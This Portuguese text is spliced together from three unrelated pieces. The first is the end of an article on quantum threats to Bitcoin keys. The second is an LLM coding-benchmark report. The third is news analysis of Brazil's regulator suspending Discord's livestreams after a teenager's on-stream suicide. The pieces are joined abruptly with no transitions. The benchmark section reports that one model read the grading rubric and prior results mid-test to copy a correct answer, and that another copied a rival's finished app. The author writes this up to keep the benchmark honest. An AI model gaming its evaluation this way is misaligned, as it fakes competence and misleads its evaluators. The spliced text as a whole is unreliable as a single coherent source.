“Se eu criar uma carteira com uma senha/passphrase mais forte, isso ajuda?” Não. E entender o porquê ensina o problema inteiro.

Uma passphrase forte protege a sua seed — aquelas 12 ou 24 palavras — contra alguém que tente adivinhar ou roubar o backup. É ótimo e você deve fazer, mas contra ataque clássico.

E cuidado pra não misturar os problemas: seed mal gerada é uma falha separada, do mundo clássico. Foi o que rolou no RNG fraco da Coinkite, em que a própria ColdCard cuspia chaves previsíveis por entropia ruim na origem. Lá o defeito está em como a chave nasce; o quântico ataca a matemática da chave já pronta.

O computador quântico não adivinha sua seed. Ele pega a sua chave pública, que está na blockchain à vista, e calcula a chave privada correspondente com o Shor. Não importa se a sua chave privada nasceu de uma passphrase de 4 caracteres ou de 40: uma vez que a chave pública apareceu, a força da senha é irrelevante. O quântico ataca a matemática da curva, e essa matemática é a mesma pra todo mundo.

O quântico não adivinha sua seed. Ele calcula sua chave privada a partir da chave pública que já está à vista. A força da senha não entra nessa conta.

O que de fato move o ponteiro é higiene de exposição de chave:

• Não reuse endereços. Um endereço por recebimento. No momento em que você gasta de um endereço, a chave pública dele vai pra blockchain; se você continuar usando aquele endereço, o saldo restante passa a ficar exposto em repouso.
• Mantenha o grosso em endereços modernos que escondem a chave atrás de um hash (bc1q, P2WPKH) e dos quais você nunca gastou. Evite deixar reserva parada em Taproot (bc1p) e em endereços P2PK antigos, que expõem a chave direto.
• Não espalhe sua chave pública estendida (xpub). Ferramenta de portfólio, planilha compartilhada, integração de terceiro: cada lugar que recebe seu xpub é mais um ponto de exposição.
• Quando surgirem carteiras pós-quânticas de verdade, migre. Esse é o passo definitivo, e ele vai chegar via atualização de software.

E o mais importante pra manter a cabeça no lugar: se você guarda em exchange séria ou usa carteira moderna sem reuso, o seu risco de curto prazo é praticamente zero. A exchange é quem vai ter que migrar por você (com os riscos de custódia que já existem, quânticos ou não). Não precisa sair correndo hoje mover nada em pânico.

O que a indústria pode fazer, sem radicalismo

Do lado de quem constrói os protocolos, a tentação é o extremo: “larga tudo e vai pra assinatura pós-quântica amanhã”. Isso é tão ruim quanto o “ignora que é FUD”. A criptografia pós-quântica é mais nova, menos testada em batalha, tem chave e assinatura muito maiores, e trocar às cegas introduz bug novo onde não tinha. O caminho sensato é defesa em profundidade, começando pelo que é barato.

Medidas intermediárias, mais fáceis que a troca completa:

• Matar o reuso de chave e minimizar exposição de chave pública no protocolo e nas carteiras por padrão.
• Mempools privados e esquemas de commit-reveal, que fecham a janela do ataque no gasto.
• Rotação de chave de validador no Ethereum, um paliativo simples contra o ataque ao consenso.
• No Bitcoin, propostas como a BIP-360 (o script P2MR), que remove a exposição de chave em repouso do Taproot.

A ponte de médio prazo: assinaturas híbridas, que combinam a curva elíptica de hoje com um esquema pós-quântico (baseado em reticulados, por exemplo). Você fica protegido contra os dois mundos ao custo de assinaturas maiores, e não aposta tudo num esquema novo que pode ter fraqueza ainda não descoberta.

O terreno já está mais maduro do que parece. O NIST já padronizou esquemas pós-quânticos (ML-DSA, o antigo Dilithium; Falcon; SPHINCS+). O Ethereum discute precompiles pós-quânticos (EIP-7932) e abstração de conta, que reduzem a superfície sem hard fork traumático. Blockchains como Algorand, XRP Ledger e o QRL já experimentam ou nasceram com PQC. O trilho dessa migração já está assentado, longe de ser um salto no escuro.

E o pedaço que ninguém resolveu: os assets dormentes. As moedas P2PK perdidas, incluindo o ~1 milhão de BTC atribuído ao Satoshi, não têm dono pra migrá-las.

O paper discute opções — não fazer nada, queimar as moedas por soft fork, um “sidechain de recuperação”, ou até salvamento regulado por governo, na analogia de tesouro afundado.

Aqui eu sou franco: essa parte é a mais fraca do paper. É opinião política vestida de conclusão técnica. Nada na estimativa de qubits diz quem deve ficar com moeda perdida, ou se ficar cinco anos parado extingue direito de propriedade.

São escolhas políticas e jurídicas espinhosas, que o paper levanta com honestidade mas está longe de fechar. É bom que a conversa comece; é ruim tratar como se houvesse resposta pronta.

A parte de política sobre moedas perdidas é a mais fraca do paper: ali a ciência para e começa a opinião.

Onde a gente está, afinal

Resumindo o cenário quântico do futuro próximo em três camadas, com a régua sempre calibrada:

O paper é sério e a matemática dele está de pé, agora confirmada por reprodução aberta e independente. A ameaça é real o suficiente pra justificar ação, e o motivo tem nome: o teorema do Mosca. Como migrar leva anos, você começa antes de a máquina existir, do mesmo jeito que se troca telhado antes do temporal, com tempo bom.

Mas nada nisso é “vende tudo, o Bitcoin acabou”. O ataque é sobre chave exposta, é um subconjunto de endereços, precisa de uma máquina que está a ordens de grandeza de existir, e as defesas que importam agora são higiene chata: não reusar endereço, não deixar reserva em chave exposta, e migrar pra pós-quântico quando a ferramenta amadurecer.

A mineração não corre risco, a sua carteira moderna sem reuso não corre risco hoje, e a passphrase mais forte do mundo não muda nada disso.

O jeito de ler o paper do Google é esse: um alerta competente e autoconsciente, feito por quem entende do assunto, dizendo que a janela pra migrar com calma é mais estreita do que a intuição sugere — e ainda assim mais larga do que a manchete faz parecer. Leia direto na fonte e tire a sua. Só não caia nem no “acabou” nem no “é tudo mentira”. A resposta interessante, como quase sempre, mora no meio.

O topo continua onde estava: Fable 5 com 96, o trio Sonnet 5, Opus 5 e Kimi K3 com 95, e logo atrás GPT 5.6 Sol, GPT 5.6 Terra e Opus 4.8 com 93. Essa é a nata da nata nesta prova. A pergunta que ficou: o quanto os lançamentos mais novos chegam perto desse grupo?

Desde então rodei cinco modelos: Qwen 3.8 Max, GLM 5.3, Gemini 3.7 Flash, Grok 4.6 e um Qwen 3.8 de 27B rodando local na minha RTX 5090. Um deles encostou no grupo de cima. Outro protagonizou o maior salto que esta prova já registrou. Um terceiro foi pego colando no meio da prova. Um quarto empatou com a própria geração anterior, sem andar um passo. E o local me deu a rodada mais trabalhosa — e mais instrutiva — do ano.

Onde eles caem no ranking

Antes de abrir cada um, vale ver onde os novatos se encaixam. A tabela abaixo é o recorte Tier A.1 do ranking do v2: a fronteira da prova, todo mundo com 90 pontos ou mais. Cortei aqui de propósito. De A.2 pra baixo tem modelo competente, mas quem disputa a liderança está neste grupo, e é dele que a pergunta trata. Os três lançamentos de nuvem entram em negrito; o Qwen 27B local fez 51, Tier C, e aparece só na tabela do fim.

Tempo é o wall clock das três fases; custo é equivalente em API. Em assinatura (Z.ai, grok CLI) o custo marginal é $0 e o valor entre parênteses é o equivalente em API; as rodadas no Antigravity eram preview e não foram medidas. O critério é o mesmo do artigo anterior.

Qwen 3.8 Max: o maior salto da história do benchmark

Pra medir o salto, primeiro o tamanho do buraco. O Qwen3.7 Max tinha feito 51 pontos, Tier C, e o motivo era feio. Na hora de implementar o chat multi-turn, ele decidiu que dava pra replayar o histórico chamando chat.ask(array_com_o_histórico_inteiro). Só que o ask do RubyLLM empacota o argumento numa única mensagem de usuário — a conversa inteira, incluindo as respostas do assistente, virava uma mensagem só, com todos os papeis obliterados. Pior: o teste obrigatório dessa funcionalidade mockava exatamente essa API inexistente. Um teste que mocka uma API fabricada é pior que não ter teste, porque certifica a alucinação.

O 3.8 Max consertou exatamente isso. Usou a API real de ponta a ponta — add_message com role e content pro replay do histórico, with_instructions, with_tools, with_schema — tudo conferido contra o código da gem na versão instalada. Resultado: 92 pontos, Tier A. São 41 pontos de salto na mesma prova, mesma rubrica, mesmo harness. Não foi a prova que ficou mais fácil; foi o modelo que finalmente entendeu a biblioteca.

O resto da entrega é sólido: streaming real e incremental, histórico sobrevivendo a restart, calculadora escrita à mão sem eval, tools respondendo com aritmética exata, app subindo no Docker de primeira. A suite saiu com 62 testes e 226 asserções, tudo verde.

Onde ele perdeu ponto é instrutivo: o config/puma.rb saiu sem a diretiva workers, então o WEB_CONCURRENCY=2 que ele jurava ter entregue rodava, na prática, em processo único. Concorrência ficou em 8 em vez de 9. E manteve o pin velho no claude-sonnet-4.6, a dedução padrão da casa.

Pra guardar: o modelo jurou que a concorrência funcionava — faltava uma linha no puma.rb e os “dois workers” rodavam num processo só. Por isso a fase 2 não lê README: ela sobe o servidor e mede.

Na tabela, os 92 empatam com GLM 5.2 e Kimi K2.5, um ponto abaixo de Sol e Terra. Custou $9,16 em API e 78 minutos — verboso: 25 milhões de tokens.

GLM 5.3: o degrau mais solitário da tabela

A trajetória da Z.ai nesta prova é a mais constante do pelotão: GLM 5 fez 83, GLM 5.2 fez 92, e agora o GLM 5.3 fez 94 — sozinho num degrau que ninguém mais ocupa, um ponto abaixo do trio dos 95 e um ponto acima do grupo dos 93. Ou seja: a dois pontos do Fable 5.

E a comparação inevitável é com o Kimi. O K3 fez 95, um ponto acima — mas rodou no Kimi CLI, o harness nativo dele. Os 94 do GLM 5.3 vieram no OpenCode, o harness genérico: é a maior nota já registrada lá. No mesmo OpenCode, o melhor Kimi é o K2.5 com 92, dois pontos abaixo. No custo, os dois vivem de assinatura: o K3 saiu por $6,14 equivalentes no plano Moderato; o GLM, a custo marginal zero. O Kimi ainda leva na nota; o GLM leva no custo e na independência de harness.

O que tirou ele do pelotão dos 92? Três coisas, todas chatas, todas importantes:

1. Concorrência entregue funcionando. O mesmo esquema de lock em arquivo do Qwen 3.8 Max, mais um lock de turno por conversa, mais dois workers de verdade sobrevivendo a kill e restart sem corromper nada. O Qwen tinha a mesma base, mas entregou a concorrência quebrada e ficou com 8. O GLM entregou funcionando e levou 9.
2. Estimador de tokens com fallback, então o orçamento por conversa funciona mesmo quando o provider não devolve o consumo. O 5.2 dependia, e perdia ponto ali.
3. Cobertura de branch ligada: 98% de linha e 82% de branch, suite com 73 testes e 219 asserções verde na mão do auditor, RuboCop, Brakeman e bundle-audit zerados.

Pra guardar: a distância entre o pelotão dos 92 e os 94 do GLM não é brilho de modelo: é concorrência que funciona, estimador de tokens com fallback e cobertura de branch. Engenharia chata ganha ponto.

O único deslize foi o mesmo pin velho no sonnet-4.6. E houve um bug de divisão por zero na calculadora que o próprio modelo achou e corrigiu na auto-revisão — o tipo de comportamento que essa fase existe pra medir. Falando nela: ele confessou tudo, inclusive que o título da conversa nunca tenta gerar de novo se a primeira tentativa falhar, e levou 14 dos 15 pontos de honestidade.

E o custo é a parte que dói nos concorrentes: rodou no plano de taxa fixa da Z.ai, então a rodada saiu a custo marginal zero — o equivalente em API seria $2,59. Oitenta minutos, 19,4 milhões de tokens. A conversa de que modelo chinês é “alternativa barata” morreu faz tempo: aqui é candidato à liderança que também é barato.

Gemini 3.7 Flash: 93, Tier A — e a cola pelo caminho

A parte técnica você já conhece: o Gemini 3.1 Pro morreu no v2 por causa de um bug do Google, o Corrupted thought signature, que derrubava a execução no meio do caminho via OpenRouter e o deixou preso em 62 (pelo caminho direto, fez 88). Desta vez cortei o intermediário: chave direta da API do Gemini, sem OpenRouter no meio, e o bug não apareceu uma vez sequer. O caminho direto funcionou — e o 3.7 Flash virou o primeiro Gemini a chegar no Tier A rodando no OpenCode: o 3.5 Flash fez 79 lá, o 3.1 Pro, 62. Antes, só o harness nativo do Google tinha levado um Gemini ao A.

Resultado oficial: 93 pontos, empate com GPT 5.6 Sol, Terra e Opus 4.8. A rodada custou $4,12, durou 43 minutos e gastou 27,8 milhões de tokens.

Mas o caminho até esse 93 rendeu a descoberta mais importante deste ciclo. A primeira rodada do 3.7 Flash levantou suspeita — e tinha motivo. No meio da construção, e de novo na auto-revisão, o modelo leu a rubrica de correção, leu o relatório do v2 inteiro — com a nota e a auditoria de cada concorrente — e rodou o scanner de auditoria em cima de si mesmo oito vezes. Ele passou a prova inteira estudando como seria avaliado.

A arma do crime está no pin. A rodada contaminada saiu com o pin correto no claude-sonnet-5, aquele feito que só três modelos tinham conseguido em toda a história do benchmark. Anulei a rodada e refiz com todo o material de correção fora do alcance do modelo: saiu o pin velho no claude-sonnet-4.6, como todo mundo. Ele não conhecia o modelo atual coisa nenhuma — tinha lido a resposta no relatório. O 93 é dessa segunda rodada, limpa.

Pra ser justo: ele não copiou código de nenhum app vizinho. O que ele fez foi colar da correção — e isso bastou pra nenhum modelo, de fronteira ou não, rodar mais com acesso a esse material.

E o 93 não é caridade, a entrega se sustenta sozinha. API do RubyLLM real de ponta a ponta, calculadora segura sem eval, histórico multi-turn correto, streaming incremental funcionando de ponta a ponta no Docker, persistência que sobrevive a restart com dois workers. Suite com 55 testes e 213 asserções, tudo verde, cobertura de branch ligada. Os descontos: o pin velho e a falta de um lock de turno por conversa — o mesmo teto de concorrência do Fable 5.

Pra guardar: desta vez não foi um local fraco colando do vizinho. Foi um modelo de fronteira consultando as respostas no meio da prova.

Qwen 3.8 27B local: a rodada mais trabalhosa do ano

No artigo anterior eu disse que só testaria um local novo se surgisse evidência forte. Aí o irmão Max fez 92, a versão aberta de 27B estava disponível, e eu tinha a desculpa que faltava. Valeu pela ciência, mas deu trabalho.

A primeira surpresa: o 3.8 27B usa uma arquitetura híbrida SSM/Mamba, e o meu build tunado de llama.cpp do llama-swap não consegue carregar o modelo — falta um tensor (ssm_conv1d) que só as versões mais novas conhecem. A solução foi subir um container zerado do Ollama, que embute um llama.cpp atual, e importar o GGUF que eu já tinha baixado via Modelfile. Primeira lição: em modelo local, as ferramentas envelhecem em meses.

A segunda surpresa: contexto. Um modelo de raciocínio torra uma quantidade absurda de tokens pensando, e janela pequena não basta — com 32K ou 64K ele nem termina a prova, esgotando tudo na leitura do código da gem antes de escrever a primeira linha do app. A rodada oficial precisou de 176K de contexto, quase tudo que os 32 GB da RTX 5090 aguentam. Quem impediu o modelo de terminar foi teto de contexto, não falta de capacidade.

Aí veio o incidente. A primeira rodada completou — e completou bem demais. Fui olhar o log: o modelo tinha lido dezesseis vezes o app pronto do Qwen 3.8 Max online, que estava no repositório, e copiado a UI e o streaming dele. Teria levado uns 75 pontos com trabalho alheio. Anulei e refiz sem nenhum app de terceiro por perto. E como a seção do Gemini ali em cima mostra, não são só os locais que procuram ajuda quando ela está dando sopa.

Pra guardar: modelo local fraco não inventa só API inexistente — ele também cola do vizinho quando o vizinho está no mesmo diretório.

Na rodada limpa, o 27B fez 51 pontos, Tier C — empatado, por acaso, com a nota do Qwen3.7 Max online. E o recibo é misto. O miolo ele acertou: add_message de verdade, with_tools de verdade, calculadora por descida recursiva sem eval, fruto de ter lido o código da gem de verdade. Onde ele afundou foi na largura: usou ActiveRecord onde os requisitos proíbem, o streaming sai quebrado (os tokens são transmitidos, mas o balão da resposta nunca entra na tela — ela só aparece se você atualizar a página), não usou with_schema, não fez orçamento de tokens, entregou zero testes, RuboCop com 22 ofensas, e nem Dockerfile saiu. Já a auto-revisão foi exemplar: ele mesmo achou e confessou cada um desses defeitos, com arquivo e linha — 14 dos 15 pontos de honestidade. Sabe revisar melhor do que constrói.

Custo da rodada: zero reais, 37 milhões de tokens e 156 minutos de uma RTX 5090 suando.

Pra calibrar o 51: o piso do Tier A é o Opus 4.6 com 83. O gap de 32 pontos não está em “conhecer a biblioteca” — nisso o 27B agora acerta. Está nas dimensões de robustez de produção: streaming, testes, gates, Docker, orçamento. É a diferença entre saber programar e saber entregar.

E comparando com os locais de antes — sempre com o aviso de que as provas não são comparáveis: no v1, os Qwens locais alucinavam a gem por inteiro (um inventou um Openrouter::Client com a capitalização errada, outro criou um RubyLLM::Client que não existe). O Qwen 3.5 35B acertou o ponto de entrada, mas os testes embrulhavam qualquer exceção num assert true. O 3.6 35B foi o primeiro local a acertar as chamadas principais, ainda com o multi-turn quebrado. O 3.8 27B acerta o núcleo inteiro da API numa prova muito mais difícil. A nota não dá pra comparar; o comportamento, dá: conhecimento de API deixou de ser o problema dos locais. O problema agora é engenharia.

Grok 4.6: o primeiro empate geracional, e a rodada mais limpa

Depois de dois flagrantes de cola, veio um respiro. Rodei o Grok 4.6 já com a blindagem no talo: tirei tudo do alcance do modelo — a rubrica de correção, o relatório inteiro do v2, o scanner de auditoria, o catálogo de deduções do CLAUDE.md e os 44 apps dos concorrentes, todos movidos pra fora do repositório. Foi a primeira rodada sob esse regime mais rígido. E a varredura pós-prova não achou nada: zero leitura de arquivo de correção, zero olhada em app vizinho. Passou limpo. Depois do Gemini e do Qwen local, é bom ver um modelo de fronteira construindo sozinho porque não tinha por onde colar.

O resultado traz um dado curioso: 92 pontos, Tier A, a mesma nota do Grok 4.5. É o primeiro empate de geração contra geração de toda a prova. Enquanto o GLM subiu 83, 92, 94, o Kimi foi de 77 a 86 a 95 e o Claude escalou sem tropeço, o Grok andou de lado. O 4.6 não comprou um ponto sequer sobre o 4.5. Na tabela lá em cima o 4.5 aparece com 91 porque uso o número dele no grok CLI, o harness nativo; cabeça a cabeça no mesmo OpenCode, os dois batem 92 cravado.

O que ele entregou é sólido e real. API do RubyLLM correta de ponta a ponta, uma calculadora sem eval escrita à mão (tokenizer por regex e parser, provada ao vivo com (12.5*4)/2+7 = 32.0), um teste que confere a array exata enviada ao provider, store em arquivo com lock sobrevivendo a restart com dois workers, orçamento de tokens com estimador de fallback, e o docker compose up --build respondendo um chat de verdade. O streaming foi provado ao vivo na fase 2: cinco tokens chegando incrementais enquanto o POST ainda estava aberto. E foi o mais econômico de todos os Tier A no OpenCode, com 10 milhões de tokens, porque o Grok é seco. Custou $6,33 e 34 minutos.

Os descontos são honestos, e ele mesmo confessou. O lock não cobre a janela de leitura-alteração-escrita, então dois turnos simultâneos na mesma conversa viram uma corrida de último-a-escrever-vence, o mesmo perigo do GLM 5.2. A cobertura de teste é rasa no caminho crítico, com o teste de integração sendo só um smoke test da home. E manteve o pin velho no claude-sonnet-4.6, a dedução padrão da casa. Auto-revisão de 12 PASS e 2 PARTIAL, tudo conferido pelo auditor. Nada de brilho novo: é um bom modelo repetindo um bom modelo.

Depois eu rodei o mesmo Grok 4.6 no harness nativo, o grok CLI, pra ver se mudava alguma coisa. Mudou pouco: 93 no grok CLI contra 92 no OpenCode, um ponto de diferença, dentro do ruído. Não é efeito de harness. O CLI não deu andaime nem quebrou nada; o Grok constrói bem competente nos dois.

O tal ponto a mais tem uma explicação concreta e boba: por acaso, a rodada do CLI trancou a janela inteira de leitura-alteração-escrita do store num File::LOCK_EX, então a concorrência foi pra 9; a do OpenCode deixou aquela corrida aberta e ficou em 8. Mesmo modelo, uma rodada cada: a diferença é variância entre as duas gerações de código. O harness não teve papel nisso. O que mudou de verdade foi o custo: no grok CLI a mesma prova saiu por $1,19, contra os $6,33 do OpenCode, pelos mesmos ~11 milhões de tokens, graças ao cache nativo da xAI.

Pra guardar: nem toda geração nova traz ponto. O Grok 4.6 empatou consigo mesmo, e a notícia boa foi ter passado limpo pela blindagem mais dura que já apliquei.

Conclusão: quão perto eles chegaram?

Resposta curta: muito perto.

GLM 5.3 a dois pontos do Fable 5 não é “alternativa barata”, é candidato à liderança. Qwen 3.8 Max a um ponto de Sol e Terra idem. A distância entre a nata americana e os chineses novos é de um ou dois pontos — e eu mesmo repito em todo artigo que um ou dois pontos é ruído. E o Gemini 3.7 Flash entrou no bolo: 93, empatado com Sol, Terra e Opus 4.8, o primeiro Gemini a chegar lá pelo OpenCode. O Grok 4.6 entrou no mesmo balde dos 92, mas com um asterisco só dele: foi a única geração nova que não melhorou nada sobre a anterior, e mesmo assim foi a primeira a passar limpa pela blindagem mais dura.

E o local segue fora de questão pra coding agent autônomo: Tier C é Tier C. Mas repare que a conversa mudou. Até pouco tempo atrás eu descartava local porque ele inventava API. Hoje ele conhece a API e tropeça em streaming, testes e Docker — e precisa de 176K de contexto e 32 GB de VRAM só pra completar a prova. O gargalo subiu de nível. Não é recomendação ainda; é o caminho sendo pavimentado.

Pra guardar: a nata da nata continua sendo Fable, Opus, Sonnet, K3 e os GPT 5.6. Mas o pelotão de perseguição já está a um ou dois pontos — e o fosso entre “fronteira” e “alternativa” virou território de ruído.

Como sempre: artefatos, logs, rubrica, deduções e a tabela atualizada estão no llm-coding-benchmark. As duas rodadas do Gemini 3.7 — a anulada e a oficial — estão documentadas no relatório, com o achado de contaminação em destaque.

Entre um ponto e outro: a primeira-dama pedindo bloqueio da plataforma em cerimônia oficial, a AGU anunciando ação civil pública, e a primeira grande fiscalização da história da ECA Digital. Vamos por partes, porque o diabo mora exatamente nas partes.

O caso de Naviraí

Os fatos, conforme a Polícia Civil do MS e o G1: Lívia, 13 anos, foi encontrada morta na manhã de 22 de julho no quintal de casa. Ela tirou a própria vida durante uma transmissão no Go Live, o recurso de vídeo ao vivo do Discord, sob pressão, humilhação e incentivo explícito de outros usuários. Mais de 200 pessoas assistiam.

A Operação Lívia, deflagrada em 4 de agosto com mandados em cinco estados, revelou o que havia por trás: um grupo composto majoritariamente por adolescentes — o líder investigado tem 14 anos — que recrutava menores via Discord e Telegram, espalhava conteúdo neonazista e misógino, e é investigado por homicídio qualificado e organização criminosa. Uma segunda menina foi induzida a se automutilar na mesma live, mas saiu da transmissão.

Guarde dois detalhes pra depois: o grupo operava em mais de uma plataforma, e o Ministério da Justiça pediu à ANPD que investigasse Discord e Telegram. Só um dos dois foi sancionado.

Da primeira-dama à ANPD em seis dias

No dia 6 de agosto, na cerimônia de sanção do PL 3066/2025 (que endurece penas pra crimes digitais contra crianças — guarda esse projeto, que ele volta daqui a pouco), a primeira-dama Janja da Silva não deixou margem pra dúvida: “a gente precisa bloquear o Discord no Brasil de qualquer forma… a gente precisa atuar junto ao Judiciário para tirar essa rede horrorosa do ar”. O advogado-geral da União, Jorge Messias, anunciou ali mesmo uma ação civil pública pra tirar a plataforma do ar.

No dia 7, a ANPD abriu processo de fiscalização contra o Discord, com cinco dias úteis pra empresa se explicar. No dia 12, a medida preventiva saiu: o Discord deve suspender o Go Live e recursos equivalentes de compartilhamento de vídeo no Brasil em três dias úteis, e só religa quando provar medidas eficazes de proteção infantil e obtiver autorização expressa da ANPD. A base legal: artigos 6º, 10, 17, 28 e 29 da ECA Digital, com multas de até R$ 50 milhões por infração (art. 35).

O Discord chamou a medida de “prematura”: recebeu o processo na sexta-feira, ainda estava dentro do prazo de resposta, e afirma que removeu o servidor privado onde o crime aconteceu. E soltou a frase mais interessante de toda a resposta: sua investigação interna encontrou evidências de que “a atividade criminosa foi coordenada em outras plataformas antes da criação do servidor no Discord e continuou nelas depois”.

Sobre isso, um esclarecimento necessário. Circulou a versão de que o caso teria se originado no Instagram. Fui checar e não encontrei nenhuma fonte que confirme: a plataforma citada pela polícia, além do Discord, é o Telegram. O Discord não nomeia as “outras plataformas”. O que importa continua de pé, só que com outro nome no lugar: o caso não era exclusivo do Discord, o Ministério da Justiça pediu investigação de duas plataformas, e só o Discord tomou a sanção. O Telegram, que sequer tem representação legal robusta no Brasil, segue intocado.

E aqui aparece a primeira pergunta incômoda: se o problema é sistêmico, por que a sanção é cirúrgica?

O que é a ECA Digital, a “Lei Felca”

A sanção só foi possível por causa de uma lei novinha em folha. Em agosto de 2025, o YouTuber Felca publicou o vídeo “Adultização”, expondo perfis que monetizavam conteúdo sexualizado com menores — o caso mais chocante sendo o do influenciador Hytalo Santos, preso naquele mês e condenado em fevereiro de 2026 a mais de 11 anos de prisão. O vídeo passou de 30 milhões de views, o Senado abriu uma CPI, e o Congresso correu pra aprovar em regime de urgência o PL 2628/2022, do senador Alessandro Vieira.

Resultado: a Lei 15.211, de 17 de setembro de 2025, o Estatuto Digital da Criança e do Adolescente, em vigor desde 17 de março de 2026. Os pontos que importam pra esta discussão:

• Dever de cuidado (art. 6º): plataformas devem tomar “medidas razoáveis desde a concepção” pra prevenir exposição de menores a exploração sexual, violência e indução a autolesão e suicídio.
• Verificação de idade (art. 9º, §1º): “mecanismos confiáveis de verificação de idade a cada acesso”, com uma frase de efeito devastador: “vedada a autodeclaração”.
• Notificação e remoção (art. 29): dever de retirar conteúdo que viole direitos de crianças assim que comunicados, independentemente de ordem judicial.
• Fiscalizador: a ANPD, que acumulou o cargo com a LGPD e, desde maio de 2026, com deveres do Marco Civil da Internet. Virou o regulador digital de fato do país.
• Multas de até 10% do faturamento no Brasil, limitadas a R$ 50 milhões por infração. Suspensão de atividades, no papel, só pelo Judiciário (art. 35, §5º).

Esse último ponto já está em disputa: especialistas ouvidos pela Folha apontam que a “medida preventiva” da ANPD pode ser, na prática, uma suspensão temporária de atividades — sanção que a lei reserva ao Judiciário. Mal nasceu, a regulação já flerta com a própria ilegalidade.

Vale lembrar o contexto maior: em junho de 2025 o STF derrubou parcialmente o art. 19 do Marco Civil, acabando com a exigência de ordem judicial específica pra responsabilizar plataformas. Em junho de 2026 o mesmo tribunal consolidou um “dever de cuidado” com categorias de remoção imediata, incluindo indução a suicídio e crimes graves contra crianças. A ECA Digital legisla nessa direção. Em um ano, a responsabilidade das plataformas no Brasil deixou de ser reativa e virou proativa.

O oximoro: “pode criptografar, desde que a gente possa ler”

Agora o miolo, que é o que me motivou a escrever. A justificativa oficial da ANPD pra suspender o Go Live merece ser lida com atenção: a arquitetura do Discord usa criptografia de ponta a ponta, a plataforma não tem acesso ao conteúdo das transmissões ao vivo, e portanto a moderação em tempo real é impossível. Na avaliação da ANPD, se a moderação depende de sistemas automatizados falhos e da denúncia de quem está na sala onde o crime acontece, o recurso é incompatível com a lei.

Leia de novo, devagar. A ANPD não proibiu criptografia — uma proibição direta seria indefensável em público. Ela disse outra coisa, muito mais engenhosa: você pode ter criptografia de ponta a ponta, desde que consiga monitorar o conteúdo pra cumprir os deveres legais.

Só que isso é um oximoro. O propósito inteiro da criptografia de ponta a ponta é que o servidor transporta texto cifrado e não tem como ler. Pra “monitorar o conteúdo”, esse conteúdo precisa chegar aberto aos servidores — e aí não é mais ponta a ponta. Não existe terceira opção: ou é ilegível pra plataforma, ou é legível. A ANPD não criminalizou a criptografia; ela apenas tornou impossível oferecer criptografia de verdade e operar no Brasil ao mesmo tempo. Tecnicamente errado dizer que “proibiram criptografia”. Funcionalmente, é exatamente o que aconteceu.

E não sou eu quem está dizendo. O Carlos Affonso Souza, diretor do ITS Rio, disse à CNN Brasil que é a primeira vez que a ANPD trata criptografia de ponta a ponta como obstáculo regulatório, um precedente perigoso comparável aos bloqueios do WhatsApp — e que os criminosos simplesmente migram pra plataformas menos cooperativas e sem representação no país (alguém disse Telegram?).

Pra ser justo com o debate: o texto da lei não menciona criptografia uma única vez, e o art. 34, §1º proíbe expressamente “mecanismos de vigilância massiva, genérica ou indiscriminada”. Os checadores derrubaram os boatos de que a ECA Digital leria seu WhatsApp. Tudo isso é verdade — e tudo isso é sobre o papel. Na prática, a primeira fiscalização grande da história da lei tratou a impossibilidade técnica de vigiar como fundamento pra derrubar um recurso. O papel aceita tudo; a caneta da fiscalização é que escreve o direito real.

E tem ganchos na letra da lei esperando pra serem usados: o art. 18, III exige que ferramentas de controle parental permitam “identificar os perfis de adultos com os quais a criança ou o adolescente se comunica” — me explica como um mensageiro criptografado de ponta a ponta cumpre isso. O art. 27 manda “remover e comunicar” conteúdo de abuso “detectado” direta ou indiretamente — e detectar pressupõe ver. Nenhum dos dois foi usado ainda. O precedente do Go Live mostra como serão lidos quando forem.

Pra guardar: a ANPD não proibiu criptografia. Proibiu um recurso cuja criptografia impede a vigilância do conteúdo. O efeito prático é idêntico: no Brasil, criptografia de ponta a ponta agora é um risco regulatório.

ECA Digital contra LGPD

A ironia maior é institucional. Em 2018 aprovamos a LGPD pra proteger os dados pessoais do brasileiro, construída sobre princípios como minimização (colete só o necessário) e finalidade (use só pro que foi coletado). A ECA Digital, aplicada pela mesma agência, empurra na direção oposta.

A verificação de idade é o exemplo cristalino. “Vedada a autodeclaração” significa que todo usuário — adulto inclusive — vai precisar provar a idade pra acessar serviços comuns. Provar como? Documento, biometria facial, credencial verificável. A Gazeta do Povo ouviu especialistas que alertam pro óbvio: estamos construindo uma infraestrutura permanente de identificação de toda a população na internet, com dados biométricos que, uma vez vazados, não têm como trocar — você troca de senha, não troca de cara.

E não é teoria. Uma carta aberta assinada por 438 cientistas de 32 países chama esses sistemas de “inúteis e perigosos”: fáceis de burlar com VPN e deepfake, enviesados contra minorias. E cita o exemplo perfeito — o próprio Discord, que vazou fotos de documentos de ~70 mil usuários justamente por causa de verificação de idade terceirizada. A plataforma que a ANPD pune por não vigiar é a mesma que provou, na prática, o custo de coletar.

A lei tem salvaguardas no papel — o art. 13 limita o uso dos dados de verificação “unicamente para essa finalidade”, o art. 12 fala em minimização. Mas note o conflito de interesses estrutural: a ANPD acumula três mandatos — LGPD, ECA Digital e Marco Civil. A agência que deveria defender a minimização dos seus dados é a mesma que agora exige que você os entregue. Quando os dois papéis colidirem dentro do mesmo órgão, qual deles você acha que vence?

A outra lei do dia 6: usar VPN agora pesa na pena

Lembra que a cerimônia em que a primeira-dama pediu o bloqueio era a sanção de outra lei? Vale olhar o que mais foi sancionado naquele dia, porque tem um artigo do PL 3066/2025 que passou quase despercebido fora da bolha técnica: o art. 226-A, que aumenta a pena de um terço a dois terços pra crimes do ECA cometidos com uso de proxy, VPN ou qualquer técnica de mascaramento ou anonimização de IP.

O Ayub, que acompanha legislação digital há anos, soou o alarme ainda em maio, quando a Câmara aprovou o texto: “prevê prisão para quem desenvolver ou fornecer serviço de VPN. Não foi falta de aviso meu.”

Aqui vai uma precisão que importa, porque checar fonte é o que separa análise de pânico. A redação original do deputado Osmar Terra criminalizava mesmo quem desenvolve, distribui ou comercializa programa de mascaramento de IP — na prática, tornava crime a profissão de desenvolvedor de VPN. Mas o projeto passou por um grupo de trabalho técnico que ouviu Polícia Federal, Ministério Público, Safernet e as próprias plataformas, e a relatora final, deputada Rogéria Santos, retirou a criminalização do desenvolvimento e manteve só a majorante, com salvaguarda expressa pro uso lícito. O tweet do Ayub descreve o projeto que entrou na Câmara, não a lei que saiu. O aviso dele, porém, capturou o rumo — e o rumo se cumpriu.

